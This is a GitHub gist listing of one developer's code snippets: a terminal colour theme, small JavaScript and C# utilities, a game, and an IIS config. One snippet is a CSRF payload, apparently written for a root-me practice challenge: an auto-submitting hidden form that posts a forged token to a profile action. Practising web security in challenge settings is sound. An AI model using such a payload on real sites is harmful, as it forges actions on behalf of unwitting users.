Skip to content

Instantly share code, notes, and snippets.

@vkobel
vkobel / .Xresources
Created June 10, 2016 13:02
Custom monokai themed Xresources file (tested with URxvt and i3)
! special
*.foreground: #d1d1d1
! *.background: #221e2d
*.cursorColor: #d1d1d1
! black
*.color0: #272822
*.color8: #75715e
! red
@vkobel
vkobel / payload.html
Created February 19, 2016 09:58
CSRF payload for token based mechanism (root-me sample)
<body onload="get()">
<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="your_username"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="forged-token" name="token" value=""/>
<input type="submit" value="go"/>
</form>
<script>
@vkobel
vkobel / Battle.html
Last active September 18, 2015 14:45
<!DOCTYPE html>
<html>
<head>
<title>UHF Live Flow</title>
<style type="text/css">
*{
margin:0;
padding:0;
overflow:hidden;
}
@vkobel
vkobel / depInj.js
Created November 4, 2014 10:47
Simple Dependency Injector in JavaScript
var DI = function (dependency) {
this.dependency = dependency;
};
// Should return new function with resolved dependencies
DI.prototype.inject = function (func) {
var startIdx = func.toString().indexOf('(');
var endIdx = func.toString().indexOf('{');
var paramsRaw = func.toString().substr(startIdx, endIdx - startIdx).trim();
var params = paramsRaw.substr(1, paramsRaw.length -2).replace(/ /g, '').split(',');
@vkobel
vkobel / brainfuck.js
Last active August 29, 2015 14:07
Brainfuck interpreter [Work in progress]
function brainLuck(code, input){
function matchingBracket(code, instPtr){
var count = 1;
while(count > 0){
var c = code[++instPtr];
if(c === '[') count++;
else if(c === ']') count--;
}
return instPtr;
@vkobel
vkobel / index.html
Last active August 29, 2015 14:07
invaders pure js
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
body{
background-color: #333;
text-align: center;
font-family: Helvetica;
color: #999;
}
@vkobel
vkobel / groupbytimespan.cs
Created October 9, 2014 11:24
Group datetimes by duration. Here it will make 3 groups of 15 minutes each
using System;
using System.Linq;
namespace GroupbyTimespan {
class Program {
static void Main(string[] args) {
DateTime[] dateTimes = new[]{
new DateTime(2010, 8, 24, 0, 5, 0),
new DateTime(2010, 8, 24, 0, 10, 0),
@vkobel
vkobel / web.config
Created September 4, 2014 01:52
Symfony web.config for IIS
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<rewrite>
<rules>
<rule name="Imported Rule 1" stopProcessing="true">
<match url="^(.*)$" ignoreCase="false" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
</conditions>
@vkobel
vkobel / links.js
Last active August 29, 2015 14:05
Retrieve links (ajax created) on a website for further processing using PhantomJS (http://phantomjs.org/)
@vkobel
vkobel / underscoreCase.cs
Created August 7, 2014 14:22
Simple C# extension method to convert a camel case string to underscore notation without any regex
public static class ExtensionMethods {
public static string ToUnderscoreCase(this string str) {
return string.Concat(str.Select((x, i) => i > 0 && char.IsUpper(x) ? "_" + x.ToString() : x.ToString())).ToLower();
}
}